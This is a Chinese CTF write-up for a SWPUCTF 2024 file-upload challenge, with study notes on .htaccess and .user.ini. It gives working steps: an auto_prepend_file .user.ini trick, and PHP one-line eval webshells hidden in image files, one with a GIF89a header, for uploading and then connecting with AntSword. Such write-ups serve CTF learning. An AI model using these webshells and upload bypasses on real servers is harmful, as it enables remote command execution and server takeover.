[SWPUCTF 2024 秋季新生赛]怎么多了个没用的php文件
题目

notion.php 是一个没啥用的php文件,不知道被设计出来是干什么的,出题人傻啦?
尝试与解题
第一步,
随便选择一个txt文件upload,发现整个过程就是一个文件上传,

.php不允许上传

【额,,,我不会,。。。有点超纲】
第二步,
既然是文件漏洞,那么,判断一下服务器是什么
curl -I https://目标域名 # 或 http://目标IP

可以知道服务器是 nginx ,
所以无法使用 .htaccess,使用.user.ini 文件
第三步,新建一个.user.ini 文件
里面内容是auto_prepend_file = muma.png

上传成功之后
第四步,
设置一个muma.png

内容为
<?php
@eval($_POST['x']);
phpinfo();
?>
如上上传之后
第五步
使用蚁剑,来测试找答案,{也可以直接访问地点}




知识点(针对此漏洞,并非系统)
揭秘.htaccess文件:你必须知道的使用技巧和隐藏功能-优快云博客这位大佬写的非常详细,但是小白看的可能会有点吃力
[CTF].htaccess的使用技巧总结_.htaccess ctf-优快云博客
CTFHub 文件上传-htaccess绕过_ctfhub 文件上传 - htaccess-优快云博客
这边不对理论多多赘述,后续可能专门会学习这块内容
CTF中.htaccess文件
思路
如果我无法直接上传一个 .php 文件(因为被黑名单过滤),那我就上传一个配置文件,命令服务器:“从此以后,把这个目录里所有的 .jpg 文件都当作 .php 文件来解析!”这个“配置文件”就是 .htaccess。
攻击步骤
1. 搞.htaccess文件(纯文本)

2. 上传文件
a. 先上传.htaccess文件
b. 然后上传一个包含WebShell代码的图片文件【即图片🐎】
GIF89a; // 图片的文件头,用于欺骗简单的文件内容检查
<?php @eval($_POST['cmd']); ?> // 真正的一句话木马代码
3. 触发攻击
- 攻击者访问他上传的“图片”文件:
http://target.com/uploads/shell.jpg - 服务器收到请求后,会先读取 uploads 目录下的 .htaccess 文件。
- .htaccess 规则生效,服务器不再将 shell.jpg 视为图片,而是将其交给 PHP 引擎去解析。
- PHP 引擎会成功解析 <?php ... ?> 标签内的代码。
- WebShell 被激活,攻击者就可以通过 cmd 参数执行任意系统命令,完全控制服务器。
注意生效与否
.htaccess 生效的核心条件
1. 服务器是 Apache(或兼容服务器)
2. Apache 配置允许覆盖 (AllowOverride)
Apache 的主配置文件(通常是 httpd.conf 或 apache2.conf)中,必须为你网站根目录对应的 <Directory> 块设置了 AllowOverride 指令,并且允许相应的功能。
AllowOverride All
CTF中.user.ini文件
与上面其实差不多,不过是环境不一样
Nginx + PHP-FPM 环境用.user.ini
Apache 通常用 .htaccess 处理 PHP 配置
总结
首先通过源代码(或者尝试),知道这是典型的文件上传漏洞,黑名单为.php,注意是,使用的方法是上传其他文件,改变内在规则,使php内容得以实现,,
其次,注意这个服务器是什么,决定要用.user.ini文件还是.htaccess文件
最后,PHP代码的使用,蚁剑的链接,还有如何写蚁剑的url和密码
【这道题考察内容挺多的】
1371



被折叠的 条评论
为什么被折叠?



